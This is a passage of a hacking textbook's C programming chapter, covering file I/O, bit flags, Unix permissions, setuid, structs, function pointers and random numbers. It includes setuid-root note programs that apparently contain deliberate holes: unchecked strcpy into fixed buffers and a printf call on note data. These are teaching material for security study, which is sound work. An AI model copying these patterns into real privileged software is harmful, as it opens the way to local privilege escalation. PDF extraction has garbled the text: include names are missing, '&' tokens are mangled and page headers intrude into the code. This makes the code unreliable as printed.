void usage(char *prog_name, char *filename) { printf("Usage: %s \n", prog_name, filename); exit(0); } void fatal(char *); // A function for fatal errors void *ec_malloc(unsigned int); // An error-checked malloc() wrapper int main(int argc, char *argv[]) { int fd; // file descriptor char *buffer, *datafile; buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/tmp/notes"); if(argc < 2) // If there aren't command-line arguments, usage(argv[0], datafile); // display usage message and exit.

82

0x200

strcpy(buffer, argv[1]);

// Copy into buffer.

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer); printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile); strncat(buffer, "\n", 1); // Add a newline on the end. // Opening file fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1) fatal("in main() while opening file"); printf("[DEBUG] file descriptor is %d\n", fd); // Writing data if(write(fd, buffer, strlen(buffer)) == -1) fatal("in main() while writing buffer to file"); // Closing file if(close(fd) == -1) fatal("in main() while closing file"); printf("Note has been saved.\n"); free(buffer); free(datafile); } // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // An error-checked malloc() wrapper function void *ec_malloc(unsigned int size) { void *ptr; ptr = malloc(size); if(ptr == NULL) fatal("in ec_malloc() on memory allocation"); return ptr; }

Besides the strange-looking flags used in the open() function, most of this code should be readable. There are also a few standard functions that we haven’t used before. The strlen() function accepts a string and returns its length. It’s used in combination with the write() function, since it needs to know how many bytes to write. The perror() function is short for print error and is used in fatal() to print an additional error message (if it exists) before exiting. reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c reader@hacking:~/booksrc $ ./simplenote Usage: ./simplenote
P rog ra m min g

83

reader@hacking:~/booksrc $ ./simplenote "this is a test note" [DEBUG] buffer @ 0x804a008: 'this is a test note' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ cat /tmp/notes this is a test note reader@hacking:~/booksrc $ ./simplenote "great, it works" [DEBUG] buffer @ 0x804a008: 'great, it works' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ cat /tmp/notes this is a test note great, it works reader@hacking:~/booksrc $

The output of the program’s execution is pretty self-explanatory, but there are some things about the source code that need further explanation. The files fcntl.h and sys/stat.h had to be included, since those files define the flags used with the open() function. The first set of flags is found in fcntl.h and is used to set the access mode. The access mode must use at least one of the following three flags:
O_RDONLY O_WRONLY O_RDWR

Open file for read-only access. Open file for write-only access. Open file for both read and write access.

These flags can be combined with several other optional flags using the bitwise OR operator. A few of the more common and useful of these flags are as follows:
O_APPEND O_TRUNC O_CREAT

Write data at the end of the file. If the file already exists, truncate the file to 0 length. Create the file if it doesn’t exist.

Bitwise operations combine bits using standard logic gates such as OR and AND. When two bits enter an OR gate, the result is 1 if either the first bit or the second bit is 1. If two bits enter an AND gate, the result is 1 only if both the first bit and the second bit are 1. Full 32-bit values can use these bitwise operators to perform logic operations on each corresponding bit. The source code of bitwise.c and the program output demonstrate these bitwise operations. bitwise.c
#include int main() { int i, bit_a, bit_b; printf("bitwise OR operator

|\n");

84

0x200

for(i=0; i < 4; i++) { bit_a = (i & 2) / 2; // Get the second bit. bit_b = (i & 1); // Get the first bit. printf("%d | %d = %d\n", bit_a, bit_b, bit_a | bit_b); } printf("\nbitwise AND operator &\n"); for(i=0; i < 4; i++) { bit_a = (i & 2) / 2; // Get the second bit. bit_b = (i & 1); // Get the first bit. printf("%d & %d = %d\n", bit_a, bit_b, bit_a & bit_b); } }

The results of compiling and executing bitwise.c are as follows. reader@hacking:~/booksrc $ gcc bitwise.c reader@hacking:~/booksrc $ ./a.out bitwise OR operator | 0 | 0 = 0 0 | 1 = 1 1 | 0 = 1 1 | 1 = 1 bitwise AND operator & 0 & 0 = 0 0 & 1 = 0 1 & 0 = 0 1 & 1 = 1 reader@hacking:~/booksrc $

The flags used for the open() function have values that correspond to single bits. This way, flags can be combined using OR logic without destroying any information. The fcntl_flags.c program and its output explore some of the flag values defined by fcntl.h and how they combine with each other. fcntl_flags.c
#include #include void display_flags(char *, unsigned int); void binary_print(unsigned int); int main(int argc, char *argv[]) { display_flags("O_RDONLY\t\t", O_RDONLY); display_flags("O_WRONLY\t\t", O_WRONLY); display_flags("O_RDWR\t\t\t", O_RDWR); printf("\n"); display_flags("O_APPEND\t\t", O_APPEND); display_flags("O_TRUNC\t\t\t", O_TRUNC); display_flags("O_CREAT\t\t\t", O_CREAT);

P rog ra m min g

85

printf("\n"); display_flags("O_WRONLY|O_APPEND|O_CREAT", O_WRONLY|O_APPEND|O_CREAT); } void display_flags(char *label, unsigned int value) { printf("%s\t: %d\t:", label, value); binary_print(value); printf("\n"); } void binary_print(unsigned int value) { unsigned int mask = 0xff000000; // Start with a mask for the highest byte. unsigned int shift = 256*256*256; // Start with a shift for the highest byte. unsigned int byte, byte_iterator, bit_iterator; for(byte_iterator=0; byte_iterator < 4; byte_iterator++) { byte = (value & mask) / shift; // Isolate each byte. printf(" "); for(bit_iterator=0; bit_iterator < 8; bit_iterator++) { // Print the byte's bits. if(byte & 0x80) // If the highest bit in the byte isn't 0, printf("1"); // print a 1. else printf("0"); // Otherwise, print a 0. byte *= 2; // Move all the bits to the left by 1. } mask /= 256; // Move the bits in mask right by 8. shift /= 256; // Move the bits in shift right by 8. } }

The results of compiling and executing fcntl_flags.c are as follows. reader@hacking:~/booksrc $ gcc fcntl_flags.c reader@hacking:~/booksrc $ ./a.out O_RDONLY : 0 : 00000000 00000000 00000000 00000000 O_WRONLY : 1 : 00000000 00000000 00000000 00000001 O_RDWR : 2 : 00000000 00000000 00000000 00000010 O_APPEND O_TRUNC O_CREAT O_WRONLY|O_APPEND|O_CREAT $ : 1024 : 512 : 64 : 1089 : 00000000 00000000 00000100 00000000 : 00000000 00000000 00000010 00000000 : 00000000 00000000 00000000 01000000 : 00000000 00000000 00000100 01000001

Using bit flags in combination with bitwise logic is an efficient and commonly used technique. As long as each flag is a number that only has unique bits turned on, the effect of doing a bitwise OR on these values is the same as adding them. In fcntl_flags.c, 1 + 1024 + 64 = 1089. This technique only works when all the bits are unique, though.

86

0x200

0x282

File Permissions

If the O_CREAT flag is used in access mode for the open() function, an additional argument is needed to define the file permissions of the newly created file. This argument uses bit flags defined in sys/stat.h, which can be combined with each other using bitwise OR logic.
S_IRUSR S_IWUSR S_IXUSR S_IRGRP S_IWGRP S_IXGRP S_IROTH S_IWOTH S_IXOTH

Give the file read permission for the user (owner). Give the file write permission for the user (owner). Give the file execute permission for the user (owner). Give the file read permission for the group. Give the file write permission for the group. Give the file execute permission for the group. Give the file read permission for other (anyone). Give the file write permission for other (anyone). Give the file execute permission for other (anyone).

If you are already familiar with Unix file permissions, those flags should make perfect sense to you. If they don’t make sense, here’s a crash course in Unix file permissions. Every file has an owner and a group. These values can be displayed using ls -l and are shown below in the following output. reader@hacking:~/booksrc $ -rw-r--r-- 1 root root -rwxr-xr-x 1 reader reader -rw------- 1 reader reader reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote* 1424 2007-09-06 09:45 /etc/passwd 8457 2007-09-07 02:51 simplenote 1872 2007-09-07 02:51 simplenote.c

For the /etc/passwd file, the owner is root and the group is also root. For the other two simplenote files, the owner is reader and the group is users. Read, write, and execute permissions can be turned on and off for three different fields: user, group, and other. User permissions describe what the owner of the file can do (read, write, and/or execute), group permissions describe what users in that group can do, and other permissions describe what everyone else can do. These fields are also displayed in the front of the ls -l output. First, the user read/write/execute permissions are displayed, using r for read, w for write, x for execute, and - for off. The next three characters display the group permissions, and the last three characters are for the other permissions. In the output above, the simplenote program has all three user permissions turned on (shown in bold). Each permission corresponds to a bit flag; read is 4 (100 in binary), write is 2 (010 in binary), and execute is 1 (001 in binary). Since each value only contains unique bits, a bitwise OR operation achieves the same result as adding these numbers together does. These values can be added together to define permissions for user, group, and other using the chmod command.
P rog ra m min g

87

reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ -rwx-wx--x 1 reader reader reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ -r-------- 1 reader reader reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ -rw------- 1 reader reader reader@hacking:~/booksrc $

chmod 731 simplenote.c ls -l simplenote.c 1826 2007-09-07 02:51 simplenote.c chmod ugo-wx simplenote.c ls -l simplenote.c 1826 2007-09-07 02:51 simplenote.c chmod u+w simplenote.c ls -l simplenote.c 1826 2007-09-07 02:51 simplenote.c

The first command (chmod 721) gives read, write, and execute permissions to the user, since the first number is 7 (4 + 2 + 1), write and execute permissions to group, since the second number is 3 (2 + 1), and only execute permission to other, since the third number is 1. Permissions can also be added or subtracted using chmod. In the next chmod command, the argument ugo-wx means Subtract write and execute permissions from user, group, and other. The final chmod u+w command gives write permission to user. In the simplenote program, the open() function uses S_IRUSR|S_IWUSR for its additional permission argument, which means the /tmp/notes file should only have user read and write permission when it is created. reader@hacking:~/booksrc $ ls -l /tmp/notes -rw------- 1 reader reader 36 2007-09-07 02:52 /tmp/notes reader@hacking:~/booksrc $

0x283

User IDs

Every user on a Unix system has a unique user ID number. This user ID can be displayed using the id command. reader@hacking:~/booksrc $ id reader uid=999(reader) gid=999(reader) groups=999(reader),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),4 4(video),46(plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(a dmin) reader@hacking:~/booksrc $ id matrix uid=500(matrix) gid=500(matrix) groups=500(matrix) reader@hacking:~/booksrc $ id root uid=0(root) gid=0(root) groups=0(root) reader@hacking:~/booksrc $

The root user with user ID 0 is like the administrator account, which has full access to the system. The su command can be used to switch to a different user, and if this command is run as root, it can be done without a password. The sudo command allows a single command to be run as the root user. On the LiveCD, sudo has been configured so it can be executed without a password, for simplicity’s sake. These commands provide a simple method to quickly switch between users.
88

0x200

reader@hacking:~/booksrc $ sudo su jose jose@hacking:/home/reader/booksrc $ id uid=501(jose) gid=501(jose) groups=501(jose) jose@hacking:/home/reader/booksrc $

As the user jose, the simplenote program will run as jose if it is executed, but it won’t have access to the /tmp/notes file. This file is owned by the user reader, and it only allows read and write permission to its owner. jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes -rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose" [DEBUG] buffer @ 0x804a008: 'a note for jose' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [!!] Fatal Error in main() while opening file: Permission denied jose@hacking:/home/reader/booksrc $ cat /tmp/notes cat: /tmp/notes: Permission denied jose@hacking:/home/reader/booksrc $ exit exit reader@hacking:~/booksrc $

This is fine if reader is the only user of the simplenote program; however, there are many times when multiple users need to be able to access certain portions of the same file. For example, the /etc/passwd file contains account information for every user on the system, including each user’s default login shell. The command chsh allows any user to change his or her own login shell. This program needs to be able to make changes to the /etc/passwd file, but only on the line that pertains to the current user’s account. The solution to this problem in Unix is the set user ID (setuid) permission. This is an additional file permission bit that can be set using chmod. When a program with this flag is executed, it runs as the user ID of the file’s owner. reader@hacking:~/booksrc $ which chsh /usr/bin/chsh reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd -rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd -rwsr-xr-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh reader@hacking:~/booksrc $

The chsh program has the setuid flag set, which is indicated by an s in the ls output above. Since this file is owned by root and has the setuid permission set, the program will run as the root user when any user runs this program. The /etc/passwd file that chsh writes to is also owned by root and only allows the owner to write to it. The program logic in chsh is designed to only allow writing to the line in /etc/passwd that corresponds to the user running the program, even though the program is effectively running as root. This means that a running program has both a real user ID and an effective user ID. These IDs can be retrieved using the functions getuid() and geteuid(), respectively, as shown in uid_demo.c.
89

P rog ra m min g

uid_demo.c
#include int main() { printf("real uid: %d\n", getuid()); printf("effective uid: %d\n", geteuid()); }

The results of compiling and executing uid_demo.c are as follows. reader@hacking:~/booksrc $ gcc -o uid_demo uid_demo.c reader@hacking:~/booksrc $ ls -l uid_demo -rwxr-xr-x 1 reader reader 6825 2007-09-07 05:32 uid_demo reader@hacking:~/booksrc $ ./uid_demo real uid: 999 effective uid: 999 reader@hacking:~/booksrc $ sudo chown root:root ./uid_demo reader@hacking:~/booksrc $ ls -l uid_demo -rwxr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo reader@hacking:~/booksrc $ ./uid_demo real uid: 999 effective uid: 999 reader@hacking:~/booksrc $

In the output for uid_demo.c, both user IDs are shown to be 999 when uid_demo is executed, since 999 is the user ID for reader. Next, the sudo command is used with the chown command to change the owner and group of uid_demo to root. The program can still be executed, since it has execute

permission for other, and it shows that both user IDs remain 999, since that’s still the ID of the user. reader@hacking:~/booksrc $ chmod u+s ./uid_demo chmod: changing permissions of `./uid_demo': Operation not permitted reader@hacking:~/booksrc $ sudo chmod u+s ./uid_demo reader@hacking:~/booksrc $ ls -l uid_demo -rwsr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo reader@hacking:~/booksrc $ ./uid_demo real uid: 999 effective uid: 0 reader@hacking:~/booksrc $

Since the program is owned by root now, sudo must be used to change file permissions on it. The chmod u+s command turns on the setuid permission, which can be seen in the following ls -l output. Now when the user reader executes uid_demo, the effective user ID is 0 for root, which means the program can access files as root. This is how the chsh program is able to allow any user to change his or her login shell stored in /etc/passwd.

90

0x200

This same technique can be used in a multiuser note-taking program. The next program will be a modification of the simplenote program; it will also record the user ID of each note’s original author. In addition, a new syntax for #include will be introduced. The ec_malloc() and fatal() functions have been useful in many of our programs. Rather than copy and paste these functions into each program, they can be put in a separate include file. hacking.h
// A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // An error-checked malloc() wrapper function void *ec_malloc(unsigned int size) { void *ptr; ptr = malloc(size); if(ptr == NULL) fatal("in ec_malloc() on memory allocation"); return ptr; }

In this new program, hacking.h, the functions can just be included. In C, when the filename for a #include is surrounded by < and >, the compiler looks for this file in standard include paths, such as /usr/include/. If the filename is surrounded by quotes, the compiler looks in the current directory. Therefore, if hacking.h is in the same directory as a program, it can be included with that program by typing #include "hacking.h". The changed lines for the new notetaker program (notetaker.c) are displayed in bold. notetaker.c
#include #include #include #include #include #include "hacking.h"

void usage(char *prog_name, char *filename) { printf("Usage: %s \n", prog_name, filename); exit(0);

P rog ra m min g

91

} void fatal(char *); // A function for fatal errors void *ec_malloc(unsigned int); // An error-checked malloc() wrapper int main(int argc, char *argv[]) { int userid, fd; // File descriptor char *buffer, *datafile; buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/var/notes"); if(argc < 2) // If there aren't command-line arguments, usage(argv[0], datafile); // display usage message and exit. strcpy(buffer, argv[1]); // Copy into buffer.

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer); printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile); // Opening the file fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1) fatal("in main() while opening file"); printf("[DEBUG] file descriptor is %d\n", fd); userid = getuid(); // Get the real user ID. // Writing data if(write(fd, &userid, 4) == -1) // Write user ID before note data. fatal("in main() while writing userid to file"); write(fd, "\n", 1); // Terminate line. if(write(fd, buffer, strlen(buffer)) == -1) // Write note. fatal("in main() while writing buffer to file"); write(fd, "\n", 1); // Terminate line. // Closing file if(close(fd) == -1) fatal("in main() while closing file"); printf("Note has been saved.\n"); free(buffer); free(datafile); }

The output file has been changed from /tmp/notes to /var/notes, so the data is now stored in a more permanent place. The getuid() function is used to get the real user ID, which is written to the datafile on the line before the note’s line is written. Since the write() function is expecting a pointer for its source, the & operator is used on the integer value userid to provide its address.

92

0x200

reader@hacking:~/booksrc $ gcc -o notetaker notetaker.c reader@hacking:~/booksrc $ sudo chown root:root ./notetaker reader@hacking:~/booksrc $ sudo chmod u+s ./notetaker reader@hacking:~/booksrc $ ls -l ./notetaker -rwsr-xr-x 1 root root 9015 2007-09-07 05:48 ./notetaker reader@hacking:~/booksrc $ ./notetaker "this is a test of multiuser notes" [DEBUG] buffer @ 0x804a008: 'this is a test of multiuser notes' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ls -l /var/notes -rw------- 1 root reader 39 2007-09-07 05:49 /var/notes reader@hacking:~/booksrc $

In the preceding output, the notetaker program is compiled and changed to be owned by root, and the setuid permission is set. Now when the program is executed, the program runs as the root user, so the file /var/notes is also owned by root when it is created. reader@hacking:~/booksrc $ cat /var/notes cat: /var/notes: Permission denied reader@hacking:~/booksrc $ sudo cat /var/notes ? this is a test of multiuser notes reader@hacking:~/booksrc $ sudo hexdump -C /var/notes 00000000 e7 03 00 00 0a 74 68 69 73 20 69 73 20 61 20 74 00000010 65 73 74 20 6f 66 20 6d 75 6c 74 69 75 73 65 72 00000020 20 6e 6f 74 65 73 0a 00000027 reader@hacking:~/booksrc $ pcalc 0x03e7 999 0x3e7 0y1111100111 reader@hacking:~/booksrc $

|.....this is a t| |est of multiuser| | notes.|

The /var/notes file contains the user ID of reader (999) and the note. Because of little-endian architecture, the 4 bytes of the integer 999 appear reversed in hexadecimal (shown in bold above). In order for a normal user to be able to read the note data, a corresponding setuid root program is needed. The notesearch.c program will read the note data and only display the notes written by that user ID. Additionally, an optional command-line argument can be supplied for a search string. When this is used, only notes matching the search string will be displayed. notesearch.c
#include #include #include #include #include "hacking.h"

P rog ra m min g

93

#define FILENAME "/var/notes" int print_notes(int, int, char *); int find_user_note(int, int); int search_note(char *, char *); void fatal(char *); // // // // Note printing function. Seek in file for a note for user. Search for keyword function. Fatal error handler

int main(int argc, char *argv[]) { int userid, printing=1, fd; // File descriptor char searchstring[100]; if(argc > 1) strcpy(searchstring, argv[1]); else searchstring[0] = 0; // If there is an arg, // that is the search string; // otherwise, // search string is empty.

userid = getuid(); fd = open(FILENAME, O_RDONLY); // Open the file for read-only access. if(fd == -1) fatal("in main() while opening file for reading"); while(printing) printing = print_notes(fd, userid, searchstring); printf("-------[ end of note data ]-------\n"); close(fd); } // A function to print the notes for a given uid that match // an optional search string; // returns 0 at end of file, 1 if there are still more notes. int print_notes(int fd, int uid, char *searchstring) { int note_length; char byte=0, note_buffer[100]; note_length = find_user_note(fd, uid); if(note_length == -1) // If end of file reached, return 0; // return 0. read(fd, note_buffer, note_length); // Read note data. note_buffer[note_length] = 0; // Terminate the string. if(search_note(note_buffer, searchstring)) // If searchstring found, printf(note_buffer); // print the note. return 1; } // A function to find the next note for a given userID; // returns -1 if the end of the file is reached; // otherwise, it returns the length of the found note. int find_user_note(int fd, int user_uid) { int note_uid=-1; unsigned char byte; int length; while(note_uid != user_uid) { // Loop until a note for user_uid is found.

94

0x200

if(read(fd, ¬e_uid, 4) != 4) // Read the uid data. return -1; // If 4 bytes aren't read, return end of file code. if(read(fd, &byte, 1) != 1) // Read the newline separator. return -1; byte = length = 0; while(byte != '\n') { // Figure out how many bytes to the end of line. if(read(fd, &byte, 1) != 1) // Read a single byte. return -1; // If byte isn't read, return end of file code. length++; } } lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes. printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid); return length; } // A function to search a note for a given keyword; // returns 1 if a match is found, 0 if there is no match. int search_note(char *note, char *keyword) { int i, keyword_length, match=0; keyword_length = strlen(keyword); if(keyword_length == 0) // If there is no search string, return 1; // always "match". for(i=0; i < strlen(note); i++) { // Iterate over bytes in note. if(note[i] == keyword[match]) // If byte matches keyword, match++; // get ready to check the next byte; else { // otherwise, if(note[i] == keyword[0]) // if that byte matches first keyword byte, match = 1; // start the match count at 1. else match = 0; // Otherwise it is zero. } if(match == keyword_length) // If there is a full match, return 1; // return matched. } return 0; // Return not matched. }

Most of this code should make sense, but there are some new concepts. The filename is defined at the top instead of using heap memory. Also, the function lseek() is used to rewind the read position in the file. The function call of lseek(fd, length * -1, SEEK_CUR); tells the program to move the read position forward from the current position in the file by length * -1 bytes. Since this turns out to be a negative number, the position is moved backward by length bytes. reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc $ $ $ $ gcc -o notesearch notesearch.c sudo chown root:root ./notesearch sudo chmod u+s ./notesearch ./notesearch
P rog ra m min g

95

[DEBUG] found a 34 byte note for user id 999 this is a test of multiuser notes -------[ end of note data ]------reader@hacking:~/booksrc $

When compiled and setuid root, the notesearch program works as expected. But this is just a single user; what happens if a different user uses the notetaker and notesearch programs? reader@hacking:~/booksrc $ sudo su jose jose@hacking:/home/reader/booksrc $ ./notetaker "This is a note for jose" [DEBUG] buffer @ 0x804a008: 'This is a note for jose' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. jose@hacking:/home/reader/booksrc $ ./notesearch [DEBUG] found a 24 byte note for user id 501 This is a note for jose -------[ end of note data ]------jose@hacking:/home/reader/booksrc $

When the user jose uses these programs, the real user ID is 501. This means that value is added to all notes written with notetaker, and only notes with a matching user ID will be displayed by the notesearch program. reader@hacking:~/booksrc $ ./notetaker "This is another note for the reader user" [DEBUG] buffer @ 0x804a008: 'This is another note for the reader user' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ./notesearch [DEBUG] found a 34 byte note for user id 999 this is a test of multiuser notes [DEBUG] found a 41 byte note for user id 999 This is another note for the reader user -------[ end of note data ]------reader@hacking:~/booksrc $

Similarly, all notes for the user reader have the user ID 999 attached to them. Even though both the notetaker and notesearch programs are suid root and have full read and write access to the /var/notes datafile, the program logic in the notesearch program prevents the current user from viewing other users’ notes. This is very similar to how the /etc/passwd file stores user information for all users, yet programs like chsh and passwd allow any user to change his own shell or password.

0x284

Structs

Sometimes there are multiple variables that should be grouped together and treated like one. In C, structs are variables that can contain many other variables. Structs are often used by various system functions and libraries, so understanding how to use structs is a prerequisite to using these functions.
96
0x200

A simple example will suffice for now. When dealing with many time functions, these functions use a time struct called tm, which is defined in /usr/include/ time.h. The struct’s definition is as follows. struct tm { int int int int int int int int int };

tm_sec; tm_min; tm_hour; tm_mday; tm_mon; tm_year; tm_wday; tm_yday; tm_isdst;

/* /* /* /* /* /* /* /* /*

seconds */ minutes */ hours */ day of the month */ month */ year */ day of the week */ day in the year */ daylight saving time */

After this struct is defined, struct tm becomes a usable variable type, which can be used to declare variables and pointers with the data type of the tm struct. The time_example.c program demonstrates this. When time.h is included, the tm struct is defined, which is later used to declare the current_time and time_ptr variables. time_example.c
#include #include int main() { long int seconds_since_epoch; struct tm current_time, *time_ptr; int hour, minute, second, day, month, year; seconds_since_epoch = time(0); // Pass time a null pointer as argument. printf("time() - seconds since epoch: %ld\n", seconds_since_epoch); time_ptr = ¤t_time; // Set time_ptr to the address of // the current_time struct. localtime_r(&seconds_since_epoch, time_ptr); // Three different ways to access struct elements: hour = current_time.tm_hour; // Direct access minute = time_ptr->tm_min; // Access via pointer second = *((int *) time_ptr); // Hacky pointer access printf("Current time is: %02d:%02d:%02d\n", hour, minute, second); }

The time() function will return the number of seconds since January 1, 1970. Time on Unix systems is kept relative to this rather arbitrary point in time, which is also known as the epoch. The localtime_r() function expects two pointers as arguments: one to the number of seconds since epoch and the other to a tm struct. The pointer time_ptr has already been set to the address
P rog ra m min g

97

of current_time, an empty tm struct. The address-of operator is used to provide a pointer to seconds_since_epoch for the other argument to localtime_r(), which fills the elements of the tm struct. The elements of structs can be accessed in three different ways; the first two are the proper ways to access struct elements, and the third is a hacked solution. If a struct variable is used, its elements can be accessed by adding the elements’ names to the end of the variable name with a period. Therefore, current_time.tm_hour will access just the tm_hour element of the tm struct called current_time. Pointers to structs are often used, since it is much more efficient to pass a four-byte pointer than an entire data structure. Struct pointers are so common that C has a built-in method to access struct elements from a struct pointer without needing to dereference the pointer. When using a struct pointer like time_ptr, struct elements can be similarly accessed by the struct element’s name, but using a series of characters that looks like an arrow pointing right. Therefore, time_ptr->tm_min will access the tm_min element of the tm struct that is pointed to by time_ptr. The seconds could be accessed via either of these proper methods, using the tm_sec element or the tm struct, but a third method is used. Can you figure out how this third method works? reader@hacking:~/booksrc $ gcc time_example.c reader@hacking:~/booksrc $ ./a.out time() - seconds since epoch: 1189311588 Current time is: 04:19:48 reader@hacking:~/booksrc $ ./a.out time() - seconds since epoch: 1189311600 Current time is: 04:20:00 reader@hacking:~/booksrc $

The program works as expected, but how are the seconds being accessed in the tm struct? Remember that in the end, it’s all just memory. Since tm_sec is defined at the beginning of the tm struct, that integer value is also found at the beginning. In the line second = *((int *) time_ptr), the variable time_ptr is typecast from a tm struct pointer to an integer pointer. Then this typecast pointer is dereferenced, returning the data at the pointer’s address. Since the address to the tm struct also points to the first element of this struct, this will retrieve the integer value for tm_sec in the struct. The following addition to the time_example.c code (time_example2.c) also dumps the bytes of the current_time. This shows that the elements of tm struct are right next to each other in memory. The elements further down in the struct can also be directly accessed with pointers by simply adding to the address of the pointer. time_example2.c
#include #include void dump_time_struct_bytes(struct tm *time_ptr, int size) { int i; unsigned char *raw_ptr;

98

0x200

printf("bytes of struct located at 0x%08x\n", time_ptr); raw_ptr = (unsigned char *) time_ptr; for(i=0; i < size; i++) { printf("%02x ", raw_ptr[i]); if(i%16 == 15) // Print a newline every 16 bytes. printf("\n"); } printf("\n"); } int main() { long int seconds_since_epoch; struct tm current_time, *time_ptr; int hour, minute, second, i, *int_ptr; seconds_since_epoch = time(0); // Pass time a null pointer as argument. printf("time() - seconds since epoch: %ld\n", seconds_since_epoch); time_ptr = ¤t_time; // Set time_ptr to the address of // the current_time struct. localtime_r(&seconds_since_epoch, time_ptr); // Three different ways to access struct elements: hour = current_time.tm_hour; // Direct access minute = time_ptr->tm_min; // Access via pointer second = *((int *) time_ptr); // Hacky pointer access printf("Current time is: %02d:%02d:%02d\n", hour, minute, second); dump_time_struct_bytes(time_ptr, sizeof(struct tm)); minute = hour = 0; // Clear out minute and hour. int_ptr = (int *) time_ptr; for(i=0; i < 3; i++) { printf("int_ptr @ 0x%08x : %d\n", int_ptr, *int_ptr); int_ptr++; // Adding 1 to int_ptr adds 4 to the address, } // since an int is 4 bytes in size. }

The results of compiling and executing time_example2.c are as follows. reader@hacking:~/booksrc $ gcc -g time_example2.c reader@hacking:~/booksrc $ ./a.out time() - seconds since epoch: 1189311744 Current time is: 04:22:24 bytes of struct located at 0xbffff7f0 18 00 00 00 16 00 00 00 04 00 00 00 09 00 00 00 08 00 00 00 6b 00 00 00 00 00 00 00 fb 00 00 00 00 00 00 00 00 00 00 00 28 a0 04 08 int_ptr @ 0xbffff7f0 : 24 int_ptr @ 0xbffff7f4 : 22 int_ptr @ 0xbffff7f8 : 4 reader@hacking:~/booksrc $
P rog ra m min g

99

While struct memory can be accessed this way, assumptions are made about the type of variables in the struct and the lack of any padding between variables. Since the data types of a struct’s elements are also stored in the struct, using proper methods to access struct elements is much easier.

0x285

Function Pointers

A pointer simply contains a memory address and is given a data type that describes where it points. Usually, pointers are used for variables; however, they can also be used for functions. The funcptr_example.c program demonstrates the use of function pointers. funcptr_example.c
#include int func_one() { printf("This is function one\n"); return 1; } int func_two() { printf("This is function two\n"); return 2; } int main() { int value; int (*function_ptr) (); function_ptr = func_one; printf("function_ptr is 0x%08x\n", function_ptr); value = function_ptr(); printf("value returned was %d\n", value); function_ptr = func_two; printf("function_ptr is 0x%08x\n", function_ptr); value = function_ptr(); printf("value returned was %d\n", value); }

In this program, a function pointer aptly named function_ptr is declared in main(). This pointer is then set to point at the function func_one() and is called; then it is set again and used to call func_two(). The output below shows the compilation and execution of this source code. reader@hacking:~/booksrc $ gcc funcptr_example.c reader@hacking:~/booksrc $ ./a.out function_ptr is 0x08048374 This is function one value returned was 1

100

0x 200

function_ptr is 0x0804838d This is function two value returned was 2 reader@hacking:~/booksrc $

0x286

Pseudo-random Numbers

Since computers are deterministic machines, it is impossible for them to produce truly random numbers. But many applications require some form of randomness. The pseudo-random number generator functions fill this need by generating a stream of numbers that is pseudo-random. These functions can produce a seemingly random sequence of numbers started from a seed number; however, the same exact sequence can be generated again with the same seed. Deterministic machines cannot produce true randomness, but if the seed value of the pseudo-random generation function isn’t known, the sequence will seem random. The generator must be seeded with a value using the function srand(), and from that point on, the function rand() will return a pseudo-random number from 0 to RAND_MAX. These functions and RAND_MAX are defined in stdlib.h. While the numbers rand() returns will appear to be random, they are dependent on the seed value provided to srand(). To maintain pseudo-randomness between subsequent program executions, the randomizer must be seeded with a different value each time. One common practice is to use the number of seconds since epoch (returned from the time() function) as the seed. The rand_example.c program demonstrates this technique. rand_example.c
#include #include int main() { int i; printf("RAND_MAX is %u\n", RAND_MAX); srand(time(0)); printf("random values from 0 to RAND_MAX\n"); for(i=0; i < 8; i++) printf("%d\n", rand()); printf("random values from 1 to 20\n"); for(i=0; i < 8; i++) printf("%d\n", (rand()%20)+1); }

Notice how the modulus operator is used to obtain random values from 1 to 20. reader@hacking:~/booksrc $ gcc rand_example.c reader@hacking:~/booksrc $ ./a.out RAND_MAX is 2147483647 random values from 0 to RAND_MAX
Pr og ra mm in g

101

